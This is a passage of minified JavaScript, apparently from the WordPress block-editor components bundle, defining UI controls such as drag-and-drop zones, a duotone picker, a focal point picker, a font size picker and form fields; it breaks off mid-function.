d=(0,_t.jsxs)(_t.Fragment,{children:[l&&(0,_t.jsx)(Xx,{icon:l}),r]});return(0,_t.jsx)(gs,{value:YM,children:(0,_t.jsx)(cS,{__next40pxDefaultSize:t,__shouldNotWarnDeprecated36pxSize:!0,__nextHasNoMarginBottom:n,className:s(u,"block-editor-dimension-control"),label:d,hideLabelFromVision:!1,value:o,onChange:e=>{const t=((e,t)=>e.find((e=>t===e.slug)))(i,e);t&&o!==t.slug?"function"==typeof c&&c(t.slug):c?.(void 0)},options:(e=>{const t=e.map((({name:e,slug:t})=>({label:e,value:t})));return[{label:(0,a.__)("Default"),value:""},...t]})(i)})})};const ZM={name:"u2jump",styles:"position:relative;pointer-events:none;&::after{content:'';position:absolute;top:0;right:0;bottom:0;left:0;}*{pointer-events:none;}"},QM=(0,c.createContext)(!1),{Consumer:JM,Provider:eA}=QM;function tA({className:e,children:t,isDisabled:n=!0,...r}){const o=il();return(0,_t.jsx)(eA,{value:n,children:(0,_t.jsx)("div",{inert:n?"true":void 0,className:n?o(ZM,e,"components-disabled"):void 0,...r,children:t})})}tA.Context=QM,tA.Consumer=JM;const nA=tA,rA=(0,c.forwardRef)((({visible:e,children:t,...n},r)=>{const o=Yn({open:e});return(0,_t.jsx)(Jr,{store:o,ref:r,...n,children:t})})),oA="is-dragging-components-draggable";const iA=function({children:e,onDragStart:t,onDragOver:n,onDragEnd:r,appendToOwnerDocument:o=!1,cloneClassname:i,elementId:s,transferData:a,__experimentalTransferDataType:u="text",__experimentalDragComponent:d}){const p=(0,c.useRef)(null),f=(0,c.useRef)((()=>{}));return(0,c.useEffect)((()=>()=>{f.current()}),[]),(0,_t.jsxs)(_t.Fragment,{children:[e({onDraggableStart:function(e){const{ownerDocument:r}=e.target;e.dataTransfer.setData(u,JSON.stringify(a));const c=r.createElement("div");c.style.top="0",c.style.left="0";const d=r.createElement("div");"function"==typeof e.dataTransfer.setDragImage&&(d.classList.add("components-draggable__invisible-drag-image"),r.body.appendChild(d),e.dataTransfer.setDragImage(d,0,0)),c.classList.add("components-draggable__clone"),i&&c.classList.add(i);let h=0,m=0;if(p.current){h=e.clientX,m=e.clientY,c.style.transform=`translate( ${h}px, ${m}px )`;const t=r.createElement("div");t.innerHTML=p.current.innerHTML,c.appendChild(t),r.body.appendChild(c)}else{const e=r.getElementById(s),t=e.getBoundingClientRect(),n=e.parentNode,i=t.top,a=t.left;c.style.width=`${t.width+0}px`;const l=e.cloneNode(!0);l.id=`clone-${s}`,h=a-0,m=i-0,c.style.transform=`translate( ${h}px, ${m}px )`,Array.from(l.querySelectorAll("iframe")).forEach((e=>e.parentNode?.removeChild(e))),c.appendChild(l),o?r.body.appendChild(c):n?.appendChild(c)}let g=e.clientX,v=e.clientY;const b=(0,l.throttle)((function(e){if(g===e.clientX&&v===e.clientY)return;const t=h+e.clientX-g,r=m+e.clientY-v;c.style.transform=`translate( ${t}px, ${r}px )`,g=e.clientX,v=e.clientY,h=t,m=r,n&&n(e)}),16);r.addEventListener("dragover",b),r.body.classList.add(oA),t&&t(e),f.current=()=>{c&&c.parentNode&&c.parentNode.removeChild(c),d&&d.parentNode&&d.parentNode.removeChild(d),r.body.classList.remove(oA),r.removeEventListener("dragover",b)}},onDraggableEnd:function(e){e.preventDefault(),f.current(),r&&r(e)}}),d&&(0,_t.jsx)("div",{className:"components-draggable-drag-component-root",style:{display:"none"},ref:p,children:d})]})},sA=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z"})});const aA=function({className:e,label:t,onFilesDrop:n,onHTMLDrop:r,onDrop:o,isEligible:i=()=>!0,...u}){const[d,p]=(0,c.useState)(),[f,h]=(0,c.useState)(),[m,g]=(0,c.useState)(),v=(0,l.__experimentalUseDropZone)({onDrop(e){if(!e.dataTransfer)return;const t=(0,bN.getFilesFromDataTransfer)(e.dataTransfer),i=e.dataTransfer.getData("text/html");i&&r?r(i):t.length&&n?n(t):o&&o(e)},onDragStart(e){p(!0),e.dataTransfer&&(e.dataTransfer.types.includes("text/html")?g(!!r):e.dataTransfer.types.includes("Files")||(0,bN.getFilesFromDataTransfer)(e.dataTransfer).length>0?g(!!n):g(!!o&&i(e.dataTransfer)))},onDragEnd(){h(!1),p(!1),g(void 0)},onDragEnter(){h(!0)},onDragLeave(){h(!1)}}),b=s("components-drop-zone",e,{"is-active":m,"is-dragging-over-document":d,"is-dragging-over-element":f});return(0,_t.jsx)("div",{...u,ref:v,className:b,children:(0,_t.jsx)("div",{className:"components-drop-zone__content",children:(0,_t.jsxs)("div",{className:"components-drop-zone__content-inner",children:[(0,_t.jsx)(oS,{icon:sA,className:"components-drop-zone__content-icon"}),(0,_t.jsx)("span",{className:"components-drop-zone__content-text",children:t||(0,a.__)("Drop files to upload")})]})})})};function lA({children:e}){return Xi()("wp.components.DropZoneProvider",{since:"5.8",hint:"wp.component.DropZone no longer needs a provider. wp.components.DropZoneProvider is safe to remove from your code."}),e}const cA=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M5 17.7c.4.5.8.9 1.2 1.2l1.1-1.4c-.4-.3-.7-.6-1-1L5 17.7zM5 6.3l1.4 1.1c.3-.4.6-.7 1-1L6.3 5c-.5.4-.9.8-1.3 1.3zm.1 7.8l-1.7.5c.2.6.4 1.1.7 1.6l1.5-.8c-.2-.4-.4-.8-.5-1.3zM4.8 12v-.7L3 11.1v1.8l1.7-.2c.1-.2.1-.5.1-.7zm3 7.9c.5.3 1.1.5 1.6.7l.5-1.7c-.5-.1-.9-.3-1.3-.5l-.8 1.5zM19 6.3c-.4-.5-.8-.9-1.2-1.2l-1.1 1.4c.4.3.7.6 1 1L19 6.3zm-.1 3.6l1.7-.5c-.2-.6-.4-1.1-.7-1.6l-1.5.8c.2.4.4.8.5 1.3zM5.6 8.6l-1.5-.8c-.3.5-.5 1-.7 1.6l1.7.5c.1-.5.3-.9.5-1.3zm2.2-4.5l.8 1.5c.4-.2.8-.4 1.3-.5l-.5-1.7c-.6.2-1.1.4-1.6.7zm8.8 13.5l1.1 1.4c.5-.4.9-.8 1.2-1.2l-1.4-1.1c-.2.3-.5.6-.9.9zm1.8-2.2l1.5.8c.3-.5.5-1.1.7-1.6l-1.7-.5c-.1.5-.3.9-.5 1.3zm2.6-4.3l-1.7.2v1.4l1.7.2V12v-.9zM11.1 3l.2 1.7h1.4l.2-1.7h-1.8zm3 2.1c.5.1.9.3 1.3.5l.8-1.5c-.5-.3-1.1-.5-1.6-.7l-.5 1.7zM12 19.2h-.7l-.2 1.8h1.8l-.2-1.7c-.2-.1-.5-.1-.7-.1zm2.1-.3l.5 1.7c.6-.2 1.1-.4 1.6-.7l-.8-1.5c-.4.2-.8.4-1.3.5z"})});function uA(e=[],t="90deg"){const n=100/e.length,r=e.map(((e,t)=>`${e} ${t*n}%, ${e} ${(t+1)*n}%`)).join(", ");return`linear-gradient( ${t}, ${r} )`}_v([Sv]);const dA=function({values:e}){return e?(0,_t.jsx)(F_,{colorValue:uA(e,"135deg")}):(0,_t.jsx)(Xx,{icon:cA})};function pA({label:e,value:t,colors:n,disableCustomColors:r,enableAlpha:o,onChange:i}){const[s,u]=(0,c.useState)(!1),d=(0,l.useInstanceId)(pA,"color-list-picker-option"),p=`${d}__label`,f=`${d}__content`;return(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(Jx,{__next40pxDefaultSize:!0,className:"components-color-list-picker__swatch-button",id:p,onClick:()=>u((e=>!e)),"aria-expanded":s,"aria-controls":f,icon:t?(0,_t.jsx)(F_,{colorValue:t,className:"components-color-list-picker__swatch-color"}):(0,_t.jsx)(Xx,{icon:cA}),text:e}),(0,_t.jsx)("div",{role:"group",id:f,"aria-labelledby":p,"aria-hidden":!s,children:s&&(0,_t.jsx)(jk,{"aria-label":(0,a.__)("Color options"),className:"components-color-list-picker__color-picker",colors:n,value:t,clearable:!1,onChange:i,disableCustomColors:r,enableAlpha:o})})]})}const fA=function({colors:e,labels:t,value:n=[],disableCustomColors:r,enableAlpha:o,onChange:i}){return(0,_t.jsx)("div",{className:"components-color-list-picker",children:t.map(((t,s)=>(0,_t.jsx)(pA,{label:t,value:n[s],colors:e,disableCustomColors:r,enableAlpha:o,onChange:e=>{const t=n.slice();t[s]=e,i(t)}},s)))})},hA=["#333","#CCC"];function mA({value:e,onChange:t}){const n=!!e,r=n?e:hA,o=uA(r),i=(s=r).map(((e,t)=>({position:100*t/(s.length-1),color:e})));var s;return(0,_t.jsx)(ZP,{disableInserter:!0,background:o,hasGradient:n,value:i,onChange:e=>{const n=function(e=[]){return e.map((({color:e})=>e))}(e);t(n)}})}const gA=function({asButtons:e,loop:t,clearable:n=!0,unsetable:r=!0,colorPalette:o,duotonePalette:i,disableCustomColors:s,disableCustomDuotone:l,value:u,onChange:d,"aria-label":p,"aria-labelledby":f,...h}){const[m,g]=(0,c.useMemo)((()=>{return!(e=o)||e.length<2?["#000","#fff"]:e.map((({color:e})=>({color:e,brightness:yv(e).brightness()}))).reduce((([e,t],n)=>[n.brightness<=e.brightness?n:e,n.brightness>=t.brightness?n:t]),[{brightness:1,color:""},{brightness:0,color:""}]).map((({color:e})=>e));var e}),[o]),v="unset"===u,b=(0,a.__)("Unset"),x=(0,_t.jsx)(uk.Option,{value:"unset",isSelected:v,tooltipText:b,"aria-label":b,className:"components-duotone-picker__color-indicator",onClick:()=>{d(v?void 0:"unset")}},"unset"),y=i.map((({colors:e,slug:t,name:n})=>{const r={background:uA(e,"135deg"),color:"transparent"},o=null!=n?n:(0,a.sprintf)((0,a.__)("Duotone code: %s"),t),i=n?(0,a.sprintf)((0,a.__)("Duotone: %s"),n):o,s=us()(e,u);return(0,_t.jsx)(uk.Option,{value:e,isSelected:s,"aria-label":i,tooltipText:o,style:r,onClick:()=>{d(s?void 0:e)}},t)})),{metaProps:w,labelProps:_}=dk(e,t,p,f),S=r?[x,...y]:y;return(0,_t.jsx)(uk,{...h,...w,..._,options:S,actions:!!n&&(0,_t.jsx)(uk.ButtonAction,{onClick:()=>d(void 0),accessibleWhenDisabled:!0,disabled:!u,children:(0,a.__)("Clear")}),children:(0,_t.jsx)(zg,{paddingTop:0===S.length?0:4,children:(0,_t.jsxs)(pk,{spacing:3,children:[!s&&!l&&(0,_t.jsx)(mA,{value:v?void 0:u,onChange:d}),!l&&(0,_t.jsx)(fA,{labels:[(0,a.__)("Shadows"),(0,a.__)("Highlights")],colors:o,value:v?void 0:u,disableCustomColors:s,enableAlpha:!0,onChange:e=>{e[0]||(e[0]=m),e[1]||(e[1]=g);const t=e.length>=2?e:void 0;d(t)}})]})})})};const vA=(0,c.forwardRef)((function(e,t){const{href:n,children:r,className:o,rel:i="",...l}=e,c=[...new Set([...i.split(" "),"external","noreferrer","noopener"].filter(Boolean))].join(" "),u=s("components-external-link",o),d=!!n?.startsWith("#");return(0,_t.jsxs)("a",{...l,className:u,href:n,onClick:t=>{d&&t.preventDefault(),e.onClick&&e.onClick(t)},target:"_blank",rel:c,ref:t,children:[(0,_t.jsx)("span",{className:"components-external-link__contents",children:r}),(0,_t.jsx)("span",{className:"components-external-link__icon","aria-label":(0,a.__)("(opens in a new tab)"),children:"↗"})]})})),bA={width:200,height:170},xA=["avi","mpg","mpeg","mov","mp4","m4v","ogg","ogv","webm","wmv"];function yA(e){return Math.round(100*e)}const wA=yl("div",{target:"eeew7dm8"})({name:"jqnsxy",styles:"background-color:transparent;display:flex;text-align:center;width:100%"}),_A=yl("div",{target:"eeew7dm7"})("align-items:center;border-radius:",Fl.radiusSmall,";cursor:pointer;display:inline-flex;justify-content:center;margin:auto;position:relative;height:100%;&:after{border-radius:inherit;bottom:0;box-shadow:inset 0 0 0 1px rgba( 0, 0, 0, 0.1 );content:'';left:0;pointer-events:none;position:absolute;right:0;top:0;}img,video{border-radius:inherit;box-sizing:border-box;display:block;height:auto;margin:0;max-height:100%;max-width:100%;pointer-events:none;user-select:none;width:auto;}"),SA=yl("div",{target:"eeew7dm6"})("background:",zl.gray[100],";border-radius:inherit;box-sizing:border-box;height:",bA.height,"px;max-width:280px;min-width:",bA.width,"px;width:100%;"),CA=yl(tj,{target:"eeew7dm5"})({name:"1d3w5wq",styles:"width:100%"});var kA={name:"1mn7kwb",styles:"padding-bottom:1em"};const jA=({__nextHasNoMarginBottom:e})=>e?void 0:kA;var EA={name:"1mn7kwb",styles:"padding-bottom:1em"};const PA=({hasHelpText:e=!1})=>e?EA:void 0,NA=yl(kg,{target:"eeew7dm4"})("max-width:320px;padding-top:1em;",PA," ",jA,";"),TA=yl("div",{target:"eeew7dm3"})("left:50%;overflow:hidden;pointer-events:none;position:absolute;top:50%;transform:translate3d( -50%, -50%, 0 );z-index:1;@media not ( prefers-reduced-motion ){transition:opacity 100ms linear;}opacity:",(({showOverlay:e})=>e?1:0),";"),IA=yl("div",{target:"eeew7dm2"})({name:"1yzbo24",styles:"background:rgba( 255, 255, 255, 0.4 );backdrop-filter:blur( 16px ) saturate( 180% );position:absolute;transform:translateZ( 0 )"}),RA=yl(IA,{target:"eeew7dm1"})({name:"1sw8ur",styles:"height:1px;left:1px;right:1px"}),MA=yl(IA,{target:"eeew7dm0"})({name:"188vg4t",styles:"width:1px;top:1px;bottom:1px"}),AA=()=>{};function DA({__nextHasNoMarginBottom:e,hasHelpText:t,onChange:n=AA,point:r={x:.5,y:.5}}){const o=yA(r.x),i=yA(r.y),s=(e,t)=>{if(void 0===e)return;const o=parseInt(e,10);isNaN(o)||n({...r,[t]:o/100})};return(0,_t.jsxs)(NA,{className:"focal-point-picker__controls",__nextHasNoMarginBottom:e,hasHelpText:t,gap:4,children:[(0,_t.jsx)(zA,{label:(0,a.__)("Left"),"aria-label":(0,a.__)("Focal point left position"),value:[o,"%"].join(""),onChange:e=>s(e,"x"),dragDirection:"e"}),(0,_t.jsx)(zA,{label:(0,a.__)("Top"),"aria-label":(0,a.__)("Focal point top position"),value:[i,"%"].join(""),onChange:e=>s(e,"y"),dragDirection:"s"})]})}function zA(e){return(0,_t.jsx)(CA,{__next40pxDefaultSize:!0,className:"focal-point-picker__controls-position-unit-control",labelPosition:"top",max:100,min:0,units:[{value:"%",label:"%"}],...e})}const OA=yl("div",{target:"e19snlhg0"})("background-color:transparent;cursor:grab;height:40px;margin:-20px 0 0 -20px;position:absolute;user-select:none;width:40px;will-change:transform;z-index:10000;background:rgba( 255, 255, 255, 0.4 );border:1px solid rgba( 255, 255, 255, 0.4 );border-radius:",Fl.radiusRound,";backdrop-filter:blur( 16px ) saturate( 180% );box-shadow:rgb( 0 0 0 / 10% ) 0px 0px 8px;@media not ( prefers-reduced-motion ){transition:transform 100ms linear;}",(({isDragging:e})=>e&&"\n\t\t\tbox-shadow: rgb( 0 0 0 / 12% ) 0px 0px 10px;\n\t\t\ttransform: scale( 1.1 );\n\t\t\tcursor: grabbing;\n\t\t\t"),";");function LA({left:e="50%",top:t="50%",...n}){const r={left:e,top:t};return(0,_t.jsx)(OA,{...n,className:"components-focal-point-picker__icon_container",style:r})}function FA({bounds:e,...t}){return(0,_t.jsxs)(TA,{...t,className:"components-focal-point-picker__grid",style:{width:e.width,height:e.height},children:[(0,_t.jsx)(RA,{style:{top:"33%"}}),(0,_t.jsx)(RA,{style:{top:"66%"}}),(0,_t.jsx)(MA,{style:{left:"33%"}}),(0,_t.jsx)(MA,{style:{left:"66%"}})]})}function BA({alt:e,autoPlay:t,src:n,onLoad:r,mediaRef:o,muted:i=!0,...s}){if(!n)return(0,_t.jsx)(SA,{className:"components-focal-point-picker__media components-focal-point-picker__media--placeholder",ref:o,...s});return function(e=""){return!!e&&(e.startsWith("data:video/")||xA.includes(function(e=""){const t=e.split(".");return t[t.length-1]}(e)))}(n)?(0,_t.jsx)("video",{...s,autoPlay:t,className:"components-focal-point-picker__media components-focal-point-picker__media--video",loop:!0,muted:i,onLoadedData:r,ref:o,src:n}):(0,_t.jsx)("img",{...s,alt:e,className:"components-focal-point-picker__media components-focal-point-picker__media--image",onLoad:r,ref:o,src:n})}const VA=function e({__nextHasNoMarginBottom:t,autoPlay:n=!0,className:r,help:o,label:i,onChange:u,onDrag:d,onDragEnd:p,onDragStart:f,resolvePoint:h,url:m,value:g={x:.5,y:.5},...v}){const[b,x]=(0,c.useState)(g),[y,w]=(0,c.useState)(!1),{startDrag:_,endDrag:S,isDragging:C}=(0,l.__experimentalUseDragging)({onDragStart:e=>{E.current?.focus();const t=I(e);t&&(f?.(t,e),x(t))},onDragMove:e=>{e.preventDefault();const t=I(e);t&&(d?.(t,e),x(t))},onDragEnd:()=>{p?.(),u?.(b)}}),{x:k,y:j}=C?b:g,E=(0,c.useRef)(null),[P,N]=(0,c.useState)(bA),T=(0,c.useRef)((()=>{if(!E.current)return;const{clientWidth:e,clientHeight:t}=E.current;N(e>0&&t>0?{width:e,height:t}:{...bA})}));(0,c.useEffect)((()=>{const e=T.current;if(!E.current)return;const{defaultView:t}=E.current.ownerDocument;return t?.addEventListener("resize",e),()=>t?.removeEventListener("resize",e)}),[]),(0,l.useIsomorphicLayoutEffect)((()=>{T.current()}),[]);const I=({clientX:e,clientY:t,shiftKey:n})=>{if(!E.current)return;const{top:r,left:o}=E.current.getBoundingClientRect();let i=(e-o)/P.width,s=(t-r)/P.height;return n&&(i=.1*Math.round(i/.1),s=.1*Math.round(s/.1)),R({x:i,y:s})},R=e=>{var t;const n=null!==(t=h?.(e))&&void 0!==t?t:e;n.x=Math.max(0,Math.min(n.x,1)),n.y=Math.max(0,Math.min(n.y,1));const r=e=>Math.round(100*e)/100;return{x:r(n.x),y:r(n.y)}},M={left:void 0!==k?k*P.width:.5*P.width,top:void 0!==j?j*P.height:.5*P.height},A=s("components-focal-point-picker-control",r),D=`inspector-focal-point-picker-control-${(0,l.useInstanceId)(e)}`;return fs((()=>{w(!0);const e=window.setTimeout((()=>{w(!1)}),600);return()=>window.clearTimeout(e)}),[k,j]),(0,_t.jsxs)(Wx,{...v,__nextHasNoMarginBottom:t,__associatedWPComponentName:"FocalPointPicker",label:i,id:D,help:o,className:A,children:[(0,_t.jsx)(wA,{className:"components-focal-point-picker-wrapper",children:(0,_t.jsxs)(_A,{className:"components-focal-point-picker",onKeyDown:e=>{const{code:t,shiftKey:n}=e;if(!["ArrowUp","ArrowDown","ArrowLeft","ArrowRight"].includes(t))return;e.preventDefault();const r={x:k,y:j},o=n?.1:.01,i="ArrowUp"===t||"ArrowLeft"===t?-1*o:o,s="ArrowUp"===t||"ArrowDown"===t?"y":"x";r[s]=r[s]+i,u?.(R(r))},onMouseDown:_,onBlur:()=>{C&&S()},ref:E,role:"button",tabIndex:-1,children:[(0,_t.jsx)(FA,{bounds:P,showOverlay:y}),(0,_t.jsx)(BA,{alt:(0,a.__)("Media preview"),autoPlay:n,onLoad:T.current,src:m}),(0,_t.jsx)(LA,{...M,isDragging:C})]})}),(0,_t.jsx)(DA,{__nextHasNoMarginBottom:t,hasHelpText:!!o,point:{x:k,y:j},onChange:e=>{u?.(R(e))}})]})};function $A({iframeRef:e,...t}){const n=(0,l.useMergeRefs)([e,(0,l.useFocusableIframe)()]);return Xi()("wp.components.FocusableIframe",{since:"5.9",alternative:"wp.compose.useFocusableIframe"}),(0,_t.jsx)("iframe",{ref:n,...t})}function HA(e){const[t,...n]=e;if(!t)return null;const[,r]=qk(t.size);return n.every((e=>{const[,t]=qk(e.size);return t===r}))?r:null}const WA=yl("fieldset",{target:"e8tqeku4"})({name:"k2q51s",styles:"border:0;margin:0;padding:0;display:contents"}),UA=yl(fy,{target:"e8tqeku3"})("height:",Il(4),";"),GA=yl(Jx,{target:"e8tqeku2"})("margin-top:",Il(-1),";"),KA=yl(Wx.VisualLabel,{target:"e8tqeku1"})("display:flex;gap:",Il(1),";justify-content:flex-start;margin-bottom:0;"),qA=yl("span",{target:"e8tqeku0"})("color:",zl.gray[700],";"),YA={key:"default",name:(0,a.__)("Default"),value:void 0},XA=e=>{var t;const{__next40pxDefaultSize:n,fontSizes:r,value:o,size:i,onChange:s}=e,l=!!HA(r),c=[YA,...r.map((e=>{let t;if(l){const[n]=qk(e.size);void 0!==n&&(t=String(n))}else(function(e){return/^[\d\.]+(px|em|rem|vw|vh|%|svw|lvw|dvw|svh|lvh|dvh|vi|svi|lvi|dvi|vb|svb|lvb|dvb|vmin|svmin|lvmin|dvmin|vmax|svmax|lvmax|dvmax)?$/i.test(String(e))})(e.size)&&(t=String(e.size));return{key:e.slug,name:e.name||e.slug,value:e.size,hint:t}}))],u=null!==(t=c.find((e=>e.value===o)))&&void 0!==t?t:YA;return(0,_t.jsx)(DI,{__next40pxDefaultSize:n,__shouldNotWarnDeprecated36pxSize:!0,className:"components-font-size-picker__select",label:(0,a.__)("Font size"),hideLabelFromVision:!0,describedBy:(0,a.sprintf)((0,a.__)("Currently selected font size: %s"),u.name),options:c,value:u,showSelectedHint:!0,onChange:({selectedItem:e})=>{s(e.value)},size:i})},ZA=[(0,a.__)("S"),(0,a.__)("M"),(0,a.__)("L"),(0,a.__)("XL"),(0,a.__)("XXL")],QA=[(0,a.__)("Small"),(0,a.__)("Medium"),(0,a.__)("Large"),(0,a.__)("Extra Large"),(0,a.__)("Extra Extra Large")],JA=e=>{const{fontSizes:t,value:n,__next40pxDefaultSize:r,size:o,onChange:i}=e;return(0,_t.jsx)(x_,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:r,__shouldNotWarnDeprecated36pxSize:!0,label:(0,a.__)("Font size"),hideLabelFromVision:!0,value:n,onChange:i,isBlock:!0,size:o,children:t.map(((e,t)=>(0,_t.jsx)(FM,{value:e.size,label:ZA[t],"aria-label":e.name||QA[t],showTooltip:!0},e.slug)))})},eD=["px","em","rem","vw","vh"],tD=(0,c.forwardRef)(((e,t)=>{const{__next40pxDefaultSize:n=!1,fallbackFontSize:r,fontSizes:o=[],disableCustomFontSizes:i=!1,onChange:s,size:l="default",units:u=eD,value:d,withSlider:p=!1,withReset:f=!0}=e,h=Yk({availableUnits:u}),m=o.find((e=>e.size===d)),g=!!d&&!m,[v,b]=(0,c.useState)(g);let x;x=!i&&v?"custom":o.length>5?"select":"togglegroup";const y=(0,c.useMemo)((()=>{switch(x){case"custom":return(0,a.__)("Custom");case"togglegroup":if(m)return m.name||QA[o.indexOf(m)];break;case"select":const e=HA(o);if(e)return`(${e})`}return""}),[x,m,o]);if(0===o.length&&i)return null;const w="string"==typeof d||"string"==typeof o[0]?.size,[_,S]=qk(d,h),C=!!S&&["em","rem","vw","vh"].includes(S),k=void 0===d;return Ux({componentName:"FontSizePicker",__next40pxDefaultSize:n,size:l}),(0,_t.jsxs)(WA,{ref:t,className:"components-font-size-picker",children:[(0,_t.jsx)(Sl,{as:"legend",children:(0,a.__)("Font size")}),(0,_t.jsx)(zg,{children:(0,_t.jsxs)(UA,{className:"components-font-size-picker__header",children:[(0,_t.jsxs)(KA,{"aria-label":`${(0,a.__)("Size")} ${y||""}`,children:[(0,a.__)("Size"),y&&(0,_t.jsx)(qA,{className:"components-font-size-picker__header__hint",children:y})]}),!i&&(0,_t.jsx)(GA,{label:"custom"===x?(0,a.__)("Use size preset"):(0,a.__)("Set custom size"),icon:jj,onClick:()=>b(!v),isPressed:"custom"===x,size:"small"})]})}),(0,_t.jsxs)("div",{children:["select"===x&&(0,_t.jsx)(XA,{__next40pxDefaultSize:n,fontSizes:o,value:d,disableCustomFontSizes:i,size:l,onChange:e=>{void 0===e?s?.(void 0):s?.(w?e:Number(e),o.find((t=>t.size===e)))},onSelectCustom:()=>b(!0)}),"togglegroup"===x&&(0,_t.jsx)(JA,{fontSizes:o,value:d,__next40pxDefaultSize:n,size:l,onChange:e=>{void 0===e?s?.(void 0):s?.(w?e:Number(e),o.find((t=>t.size===e)))}}),"custom"===x&&(0,_t.jsxs)(kg,{className:"components-font-size-picker__custom-size-control",children:[(0,_t.jsx)(Fg,{isBlock:!0,children:(0,_t.jsx)(tj,{__next40pxDefaultSize:n,__shouldNotWarnDeprecated36pxSize:!0,label:(0,a.__)("Custom"),labelPosition:"top",hideLabelFromVision:!0,value:d,onChange:e=>{b(!0),s?.(void 0===e?void 0:w?e:parseInt(e,10))},size:l,units:w?h:[],min:0})}),p&&(0,_t.jsx)(Fg,{isBlock:!0,children:(0,_t.jsx)(zg,{marginX:2,marginBottom:0,children:(0,_t.jsx)(ZS,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:n,__shouldNotWarnDeprecated36pxSize:!0,className:"components-font-size-picker__custom-input",label:(0,a.__)("Custom Size"),hideLabelFromVision:!0,value:_,initialPosition:r,withInputField:!1,onChange:e=>{b(!0),s?.(void 0===e?void 0:w?e+(null!=S?S:"px"):e)},min:0,max:C?10:100,step:C?.1:1})})}),f&&(0,_t.jsx)(Fg,{children:(0,_t.jsx)(Qx,{disabled:k,accessibleWhenDisabled:!0,onClick:()=>{s?.(void 0)},variant:"secondary",__next40pxDefaultSize:!0,size:"__unstable-large"===l||e.__next40pxDefaultSize?"default":"small",children:(0,a.__)("Reset")})})]})]})]})})),nD=tD;const rD=function({accept:e,children:t,multiple:n=!1,onChange:r,onClick:o,render:i,...s}){const a=(0,c.useRef)(null),l=()=>{a.current?.click()};i||Ux({componentName:"FormFileUpload",__next40pxDefaultSize:s.__next40pxDefaultSize,size:s.size});const u=i?i({openFileDialog:l}):(0,_t.jsx)(Jx,{onClick:l,...s,children:t}),d=!(globalThis.window?.navigator.userAgent.includes("Safari")&&!globalThis.window?.navigator.userAgent.includes("Chrome")&&!globalThis.window?.navigator.userAgent.includes("Chromium"))&&e?.includes("image/*")?`${e}, image/heic, image/heif`:e;return(0,_t.jsxs)("div",{className:"components-form-file-upload",children:[u,(0,_t.jsx)("input",{type:"file",ref:a,multiple:n,style:{display:"none"},accept:d,onChange:r,onClick:o,"data-testid":"form-file-upload-input"})]})},oD=()=>{};const iD=(0,c.forwardRef)((function(e,t){const{className:n,checked:r,id:o,disabled:i,onChange:a=oD,...l}=e,c=s("components-form-toggle",n,{"is-checked":r,"is-disabled":i});return(0,_t.jsxs)("span",{className:c,children:[(0,_t.jsx)("input",{className:"components-form-toggle__input",id:o,type:"checkbox",checked:r,onChange:a,disabled:i,...l,ref:t}),(0,_t.jsx)("span",{className:"components-form-toggle__track"}),(0,_t.jsx)("span",{className:"components-form-toggle__thumb"})]})})),sD=iD,aD=()=>{};function lD({value:e,status:t,title:n,displayTransform:r,isBorderless:o=!1,disabled:i=!1,onClickRemove:c=aD,onMouseEnter:u,onMouseLeave:d,messages:p,termPosition:f,termsCount:h}){const m=(0,l.useInstanceId)(lD),g=s("components-form-token-field__token",{"is-error":"error"===t,"is-success":"success"===t,"is-validating":"validating"===t,"is-borderless":o,"is-disabled":i}),v=r(e),b=(0,a.sprintf)((0,a.__)("%1$s (%2$s of %3$s)"),v,f,h);return(0,_t.jsxs)("span",{className:g,onMouseEnter:u,onMouseLeave:d,title:n,children:[(0,_t.jsxs)("span",{className:"components-form-token-field__token-text",id:`components-form-token-field__token-text-${m}`,children:[(0,_t.jsx)(Sl,{as:"span",children:b}),(0,_t.jsx)("span",{"aria-hidden":"true",children:v})]}),(0,_t.jsx)(Jx,{className:"components-form-token-field__remove-token",size:"small",icon:UN,onClick:i?void 0:()=>c({value:e}),disabled:i,label:p.remove,"aria-describedby":`components-form-token-field__token-text-${m}`})]})}const cD=({__next40pxDefaultSize:e,hasTokens:t})=>!e&&Nl("padding-top:",Il(t?1:.5),";padding-bottom:",Il(t?1:.5),";",""),uD=yl(kg,{target:"ehq8nmi0"})("padding:7px;",Rx," ",cD,";"),dD=e=>e;const pD=function e(t){const{autoCapitalize:n,autoComplete:r,maxLength:o,placeholder:i,label:u=(0,a.__)("Add item"),className:d,suggestions:p=[],maxSuggestions:f=100,value:h=[],displayTransform:m=dD,saveTransform:g=e=>e.trim(),onChange:v=()=>{},onInputChange:b=()=>{},onFocus:x,isBorderless:y=!1,disabled:w=!1,tokenizeOnSpace:_=!1,messages:S={added:(0,a.__)("Item added."),removed:(0,a.__)("Item removed."),remove:(0,a.__)("Remove item"),__experimentalInvalid:(0,a.__)("Invalid item")},__experimentalRenderItem:C,__experimentalExpandOnFocus:k=!1,__experimentalValidateInput:j=()=>!0,__experimentalShowHowTo:E=!0,__next40pxDefaultSize:P=!1,__experimentalAutoSelectFirstMatch:N=!1,__nextHasNoMarginBottom:T=!1,tokenizeOnBlur:I=!1}=hb(t);T||Xi()("Bottom margin styles for wp.components.FormTokenField",{since:"6.7",version:"7.0",hint:"Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version."}),Ux({componentName:"FormTokenField",size:void 0,__next40pxDefaultSize:P});const R=(0,l.useInstanceId)(e),[M,A]=(0,c.useState)(""),[D,z]=(0,c.useState)(0),[O,L]=(0,c.useState)(!1),[F,B]=(0,c.useState)(!1),[V,$]=(0,c.useState)(-1),[H,W]=(0,c.useState)(!1),U=(0,l.usePrevious)(p),G=(0,l.usePrevious)(h),K=(0,c.useRef)(null),q=(0,c.useRef)(null),Y=(0,l.useDebounce)(jy.speak,500);function X(){K.current?.focus()}function Z(){return K.current===K.current?.ownerDocument.activeElement}function Q(e){if(fe()&&j(M))L(!1),I&&fe()&&ae(M);else{if(A(""),z(0),L(!1),k){const t=e.relatedTarget===q.current;B(t)}else B(!1);$(-1),W(!1)}}function J(e){e.target===q.current&&O&&e.preventDefault()}function ee(e){le(e.value),X()}function te(e){const 